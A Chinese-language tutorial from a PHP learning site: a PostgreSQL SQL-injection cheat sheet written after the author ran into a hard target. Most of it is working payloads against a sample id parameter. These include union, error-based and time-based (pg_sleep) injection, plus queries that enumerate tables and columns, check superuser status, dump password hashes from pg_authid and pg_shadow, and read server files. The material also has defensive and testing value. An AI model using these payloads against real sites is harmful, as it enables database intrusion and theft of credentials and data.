网站地图    收藏   

主页 > 后端 > 网站安全 >

PostgreSQL SQLinject 基础篇 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 今天遇到一个pg的变态站,索性做下pg总结1.会话信息函数名称返回类型描述current_catalogname当前数据库名(在SQL标准里叫catalog)current_database()name当前数据库名urrent_schema[()]name当前模式名...

今天遇到一个pg的变态站,索性做下pg总结

1.会话信息函数

名称 返回类型 描述
current_catalog name 当前数据库名(在SQL标准里叫”catalog”)
current_database() name 当前数据库名
urrent_schema[()] name 当前模式名
current_schemas(boolean) name[] 搜索路径中的模式名字,包括可选的隐式模式
current_user name 当前执行环境下的用户名
current_query() text 执行当前的文本查询,由客户端提交(可能包含多于1句)
pg_backend_pid() int 连接到当前会话的服务器进程 ID
pg_listening_channels() setof text 正在侦听的当前会话的信道名称
inet_client_addr() inet 连接的远端地址
inet_client_port() int 连接的远端端口
inet_server_addr() inet 连接的本地地址
inet_server_port() int 连接的本地端口
pg_my_temp_schema() oid 会话的临时模式的OID ,不存在则为 0
pg_is_other_temp_schema(oid) boolean 是否为另一个会话的临时模式?
pg_postmaster_start_time() timestamp with time zone 服务器启动时间
pg_conf_load_time() timestamp with time zone 配置加载时间
session_user name 会话用户名
user name 等价于current_user
version() text PostgreSQL版本信息

标黑的为常用函数.

2.注入

回显方式

  1. test.php?id=1 order by 5–+判断字段
  2. test.php?id=-1 union select null,null,null,null,null–+//需要判断字段类型,先用null填充
  3. test.php?id=1 union select null,’1‘,null,null,null–+//测试类型和回显位置
  4. test.php?id=1 union select null,version(),null,null,null–+ //查看数据库信息,其他注入语句类似

错误回显方式

  1. test.php?id=1 and 1=(select version())::int–+
  2. test.php?id=1  and 1=(select version() as int)–+

延时方式

  1. test.php?id=1;select pg_sleep(10)–+

 

基本语句:

  1. SELECT table_name FROM information_schema.tables WHERE table_schema = ‘public’ limit 1 offset n;//table_schema = ‘public’排出系统表,表
  2. SELECT column_name FROM information_schema.columns WHERE table_name =’table’ limit 1 offset n; //字段

 

  1. select relname from pg_class limit 1 offset n;//获取表名
  2. select oid from pg_class where relname=tablename;//获取oid
  3. select attname from pg_attribute where attrelid=16402 limit 1 offset n;//获取列名
  4. select attname from pg_attribute where attrelid=(select oid from pg_class where relname=(select relname from pg_stat_user_tables limit 1 offset 1)) limit 1 offset 1; //合并前三个

获取数据库名 //pg不能跨库,只能在终端上切换(以下两个功能一样)

  1. select datname from pg_database limit 1 offset 1;
  2. select datname from pg_stat_database limit 1 offset 1;

判断当前用户是否为超级用户(返回值为bool)

  1. select usesurper  from pg_user where usename=current_user;
  2. select usesurper from pg_shadow where usename=current_user;

获取数据库帐号hash(此帐号也会在系统中建立,需usesurper权限查看)

  1. select rolname,rolpassword from pg_authid ;
  2. select usename,passwd from pg_shadow;

获取pg安装路径

  1. SELECT current_setting(‘hba_file’) ;

 

3.系统函数

pg_logdir_ls(),pg_ls_dir(),pg_file_rename(),pg_write_file(), pg_read_file(),pg_file_length() 为内置函数,可以进行读写等操作,不过他们都被限制在pg的指定目录下,也是鸡肋

如:select  pg_read_file(‘global/pg_database’,0,10000000);

 

4.基本操作符

– ,/* //注释符

::   //PostgreSQL 特有的类型转换操作符

||  // 连接符

$q$text$q$    //$$  之间可以是任意内容,来代替单引号。原理看这:$q$逃逸语法


自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论